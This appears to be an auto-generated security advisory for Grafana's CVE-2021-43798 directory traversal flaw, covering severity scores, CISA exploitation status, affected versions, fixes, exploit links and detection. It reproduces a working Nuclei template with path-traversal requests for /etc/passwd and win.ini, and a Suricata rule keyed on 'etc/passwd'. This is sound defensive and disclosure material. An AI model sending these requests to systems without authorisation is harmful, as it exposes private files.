CVE-2021-43798: Grafana Path Traversal Vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is: `<grafana_host_url>/public/plugins//`, where is the plugin ID for any installed plugin. At no time has Grafana Cloud been vulnerable. Users are advised to upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1. The GitHub Security Advisory contains more information about vulnerable URL paths, mitigation, and the disclosure timeline.
Description quoted from the CVE record (assigned by GitHub_M, published 2021-12-07).
Weakness: CWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)
How it can be exploited
Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity none, availability none. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: partial.
- On CISA KEV since
- 2025-10-09
- US federal deadline
- 2025-10-30
- Ransomware use
- Not known
Public exploit evidence (Exploit Observer)
Also known as: BDU:2023-00493, CNNVD-202112-482, EDB-50581, EUVD-2024-0581, GHSA-7533-c8qv-jm9m, GHSA-8pjx-jj86-j47p, SNYK-ALPINE316-GRAFANA-2844116, SNYK-ALPINE321-GRAFANA-8486115, SNYK-GOLANG-GITHUBCOMGRAFANAGRAFANAPKGAPI-2312869, SNYK-JS-GRIDCONTEXT-8535797
VEDAS cluster: VEDAS:ACCLAIMEDACACIA
Exploit Observer links 78 pieces of public exploit code or detection modules that name this CVE or one of its aliases.
Exploit code and modules (78)
Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.
- Exploit-DB: https://www.exploit-db.com/raw/50581
- Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2021/CVE-2021-43798.yaml
- Code repository: https://github.com/0bfxgh0st/cve-2021-43798
- Code repository: https://github.com/0xf3d0rq/cve-2021-43798
- Code repository: https://github.com/0xsazzad/grafana-cve-2021-43798
- Code repository: https://github.com/Mr-xn/CVE-2021-43798?search=1
- Code repository: https://github.com/abuyazeen/cve-2021-43798-grafana-path-traversal-tester
- Code repository: https://github.com/asaotomo/cve-2021-43798-grafana-exp
- Code repository: https://github.com/asbawy/graftraverse-cve-2021-43798
- Code repository: https://github.com/awrrays/grafana-cve-2021-43798
- Code repository: https://github.com/aymenbouferroum/cve-2021-43798_exploit
- Code repository: https://github.com/baktistr/cve-2021-43798-enum
- and 66 more
Research and write-ups (3)
- Research or write-up: https://cve.report/CVE-2021-43798
- Research or write-up: https://grafana.com/blog/2021/12/08/an-update-on-0day-cve-2021-43798-grafana-directory-traversal
- Research or write-up: https://www.rapid7.com/db/vulnerabilities/freebsd-cve-2021-43798
Vulnerability databases and vendor advisories (18)
Catalogue entries, not exploit evidence.
- Vulnerability database or vendor advisory: https://access.redhat.com/security/cve/cve-2021-43798
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2024-0581
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-7533-c8qv-jm9m
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-8pjx-jj86-j47p
- Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2021-43798
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-7533-c8qv-jm9m
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-8pjx-jj86-j47p
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/UBUNTU-CVE-2021-43798
- Vulnerability database or vendor advisory: https://security.snyk.io/vuln/SNYK-ALPINE316-GRAFANA-2844116
- Vulnerability database or vendor advisory: https://security.snyk.io/vuln/SNYK-ALPINE321-GRAFANA-8486115
- Vulnerability database or vendor advisory: https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGRAFANAGRAFANAPKGAPI-2312869
- Vulnerability database or vendor advisory: https://security.snyk.io/vuln/SNYK-JS-GRIDCONTEXT-8535797
- and 6 more
562 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.
VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.
Live scores
- EPSS
- 0.885
very likely to be attacked soon - VEDAS
- 0.980
strong exploit evidence - On CISA KEV
- Yes, since 2025-10-09
Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.
VEDAS flagged this bug about 53 days before CISA confirmed attacks.
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| grafana grafana | version >= 8.0.0, < 8.0.7 version >= 8.1.0, < 8.1.8 version >= 8.2.0, < 8.2.7 version = 8.3.0 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
Exploit Observer also maps it to: grafana grafana, grafana_labs grafana.
How to fix it
CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Vendor guidance:
- https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/
- https://nvd.nist.gov/vuln/detail/CVE-2021-43798
How to detect it
Nuclei template (active check)
Grafana - Path Traversal
Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files.
Name and description quoted from the template, written by VEDAS.
The template sends 4 requests (GET /public/plugins/{{pluginSlug}}/../../../../../../../../../../../../..., GET /public/plugins/{{pluginSlug}}/#/../../../../../../../../../../../...., GET /public/plugins/{{pluginSlug}}/../../../../../../../../../../../../..., GET /public/plugins/{{pluginSlug}}/#/../../../../../../../../../../../....); it decides using regex, status, word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2021-43798.yamlShow the template (108 lines)
id: CVE-2021-43798
info:
name: Grafana - Path Traversal
author: vedas-arpsyndicate
severity: high
description: |
Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through
8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files.
reference:
- https://www.exploit.observer/?keyword=CVE-2021-43798&match=exact
- https://subdomain.center/?engine=ammonites&keyword=grafana&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-43798
cwe-id: CWE-22
metadata:
verified: false
tags: cve2021,cve,packetstorm,grafana,lfi,vkev,kev,vuln
http:
- raw:
- |+
GET /public/plugins/{{pluginSlug}}/../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
Connection: close
- |+
GET /public/plugins/{{pluginSlug}}/#/../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
Connection: close
- |+
GET /public/plugins/{{pluginSlug}}/../../../../../../../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: {{Hostname}}
Connection: close
- |+
GET /public/plugins/{{pluginSlug}}/#/../../../../../../../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: {{Hostname}}
Connection: close
unsafe: true
disable-path-automerge: true
payloads:
pluginSlug:
- alertlist
- annolist
- barchart
- bargauge
- candlestick
- cloudwatch
- dashlist
- elasticsearch
- gauge
- geomap
- gettingstarted
- grafana-azure-monitor-datasource
- graph
- heatmap
- histogram
- influxdb
- jaeger
- logs
- loki
- minstalled
- mssql
- mysql
- news
- nodeGraph
- opentsdb
- piechart
- pluginlist
- postgres
- prometheus
- stackdriver
- stat
- state-timeline
- status-history
- table
- table-old
- tempo
- testdata
- text
- timeseries
- welcome
- zipkin
threads: 50
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: header
words:
- "text/plain"
- type: regex
regex:
- "root:.*:0:([0-9]+):"
- '\/tmp\/grafana\.sock'
- '\[(fonts|extensions|Mail|files)\]'
condition: or
- type: status
status:
- 200
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2021-43798 Grafana - Path Traversal. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2021-43798 Grafana - Path Traversal"; flow:established,to_server; http.uri; content:"etc/passwd"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2021-43798; reference:url,https://www.exploit.observer/?keyword=CVE-2021-43798&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=grafana&match=exact; sid:1011804; rev:1;)
CVE-2021-43798.rules on GitHub
References
Government sources
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-43798 (government-resource)
Other references
- https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p (x_refsource_CONFIRM)
- https://github.com/grafana/grafana/commit/c798c0e958d15d9cc7f27c72113d572fa58545ce (x_refsource_MISC)
- http://packetstormsecurity.com/files/165198/Grafana-Arbitrary-File-Reading.html (x_refsource_MISC)
- https://grafana.com/blog/2021/12/08/an-update-on-0day-cve-2021-43798-grafana-directory-traversal/ (x_refsource_CONFIRM)
- http://packetstormsecurity.com/files/165221/Grafana-8.3.0-Directory-Traversal-Arbitrary-File-Read.html (x_refsource_MISC)
- [oss-security] 20211209 CVE-2021-43798 Grafana directory traversal (mailing-list, x_refsource_MLIST)
- [oss-security] 20211210 CVE-2021-43813 and CVE-2021-43815 - Grafana directory traversal for some .md and .csv files (mailing-list, x_refsource_MLIST)
- https://security.netapp.com/advisory/ntap-20211229-0004/ (x_refsource_CONFIRM)
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.